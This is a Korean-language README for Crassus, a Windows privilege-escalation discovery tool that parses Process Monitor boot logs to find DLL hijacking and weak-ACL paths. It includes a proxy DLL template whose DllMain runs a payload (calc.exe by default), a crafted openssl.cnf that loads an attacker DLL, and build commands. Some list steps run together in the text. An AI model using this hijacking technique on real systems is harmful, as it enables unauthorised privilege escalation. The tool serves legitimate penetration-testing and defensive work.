
Windows 권한 상승 발견 도구로, Process Monitor 부트 로그를 분석하여 DLL 하이재킹, 취약한 ACL 및 기타 권한 상승 경로를 식별하고, 자동으로 프록시 DLL 소스 코드를 생성합니다.
Enable Boot Logging 옵션을 선택합니다.

raw.PML).Ctrl-R을 눌러 기본 Process Monitor 필터를 초기화합니다.boot.PML).Crassus.exe boot.PML을 실행합니다.results.csv의 해당 항목을 조사합니다.Accenture는 Windows에서 DLL 하이재킹 기회를 찾는 Spartacus라는 도구를 만들었습니다. Spartacus를 출발점으로 삼아 Crassus는 단순히 누락된 파일을 찾는 것 이상으로 Windows 권한 상승 발견 기능을 확장했습니다. 권한 있는 프로세스의 파일과 디렉터리에 사용되는 ACL은 목표를 달성하기 위해 누락된 파일을 찾는 것보다 더 많은 것을 찾을 수 있습니다.
...하지만 Crassus는 SysInternals Process Monitor를 활용하고 원시 PML 로그 파일을 파싱한다는 점에서 차별화됩니다. 일반적인 사용법은 Process Monitor를 사용하여 부트 로그를 생성한 다음 Crassus로 파싱하는 것입니다. 또한 취약한 DLL에 대한 모든 관련 내보내기가 포함된 프록시 DLL의 소스 코드를 자동으로 생성합니다.
version.dll을 통한 DLL 하이재킹에 취약한 경우 Crassus는 모든 내보내기가 포함된 version.cpp 및 version.def 파일을 생성합니다. 기본적으로 프록시 DLL은 calc.exe를 실행합니다. Visual Studio 또는 MinGW에서 DLL을 빌드하기 위한 빌드 스크립트가 포함되어 있습니다.Crassus가 작동하는 방식을 요약한 순서도입니다:






Crassus는 Visual Studio 2019 프로젝트로 개발되었습니다. Crassus.exe를 빌드하려면:
Crassus.sln을 엽니다.Ctrl+Shift+B를 누릅니다.다른 사람의 코드가 무엇을 하는지 모르고 실행해도 괜찮다면, Crassus.exe가 이 저장소에 제공됩니다.
Enable Boot Logging 옵션을 선택합니다.

Ctrl-R을 눌러 기본 Process Monitor 필터를 초기화합니다.boot.PML). 로그 파일을 다시 저장하는 이유는 두 가지입니다:
| 인수 | 설명 |
|---|---|
<PMLFILE> | 기존 ProcMon 이벤트 로그 파일의 위치(파일)입니다. |
--verbose | 자세한 출력을 활성화합니다. |
--debug | 디버그 출력을 활성화합니다. |
boot.PML에 저장된 Process Monitor 부트 로그를 파싱합니다. 모든 취약한 경로는 results.csv로 저장되고 모든 프록시 DLL 소스 파일은 stubs 하위 디렉터리에 저장됩니다.
C:\tmp> Crassus.exe boot.PML
아래는 프록시 DLL을 생성할 때 사용되는 템플릿입니다. Crassus가 찾은 DLL의 경우 프록시 DLL에는 %_EXPORTS_%에 지정된 것과 동일한 내보내기 이름과 .def 파일에 지정된 동일한 서수가 포함됩니다. Crassus는 부모 프로세스의 아키텍처를 확인하여 DLL을 32비트 라이브러리로 빌드할지 64비트 라이브러리로 빌드할지 감지하고 그에 따라 %_BUILD_AS_% 필드의 소스 코드에 태그를 지정합니다.
Process Monitor 로그에서 실제 DLL을 찾을 수 없거나 내보내기 이름에 문제가 있는 경우 빌드 스크립트는 내보내기가 지정되지 않은 DLL을 생성하는 방식으로 대체합니다.
#pragma once
//%_BUILD_AS%
#include <windows.h>;
extern "C" {
VOID Payload() {
// 여기에 페이로드를 실행하세요.
WinExec("calc.exe", 1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH:
Payload();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
#ifdef ADD_EXPORTS
%_EXPORTS_%
#endif
}
OPENSSLDIR 변수 값을 안전하지 않게 사용하는 애플리케이션의 경우, 조작된 openssl.cnf 파일을 해당 위치에 배치할 수 있습니다. 이 예제에서는 소프트웨어가 C:\tmp\calc.dll을 로드합니다. 32비트 프로세스를 대상으로 하려면 32비트 라이브러리를, 64비트 프로세스를 대상으로 하려면 64비트 라이브러리를 사용해야 합니다.
[openssl_init]
# 그러면 OpenSSL 초기화의 일부로 파일 c:\tmp\calc.dll을 로드하려고 시도합니다.
# 빌드 스크립트는 calc.dll 라이브러리를 32비트 또는 64비트 중 어떤 것으로 빌드해야 하는지 감지해야 합니다.
/tmp/calc = asdf
Visual Studio에 포함된 cl.exe 바이너리를 사용하여 컴파일할 수 있습니다. 구체적으로는 다음과 같습니다:
cl.exe /DADD_EXPORTS /D_USRDLL /D_WINDLL <target>.cpp /LD /Fe<target>.dll /link /DEF:<target>.def
라이브러리를 64비트 또는 32비트로 지정하는 것을 포함하여 빌드 프로세스를 자동화하려면:
build.bat 스크립트로 DLL을 빌드합니다..dll로 끝나지 않는 경우 필요에 따라 컴파일된 파일의 이름을 바꿉니다.참고: vcvarsall.bat의 불행한 동작(확실히 버그는 아닙니다)으로 인해 동일한 Visual Studio 개발자 명령 프롬프트 세션에서 build.bat를 두 번 이상 실행하는 데 문제가 발생할 수 있습니다. 오류가 발생하면 창을 닫고 다시 시작하세요.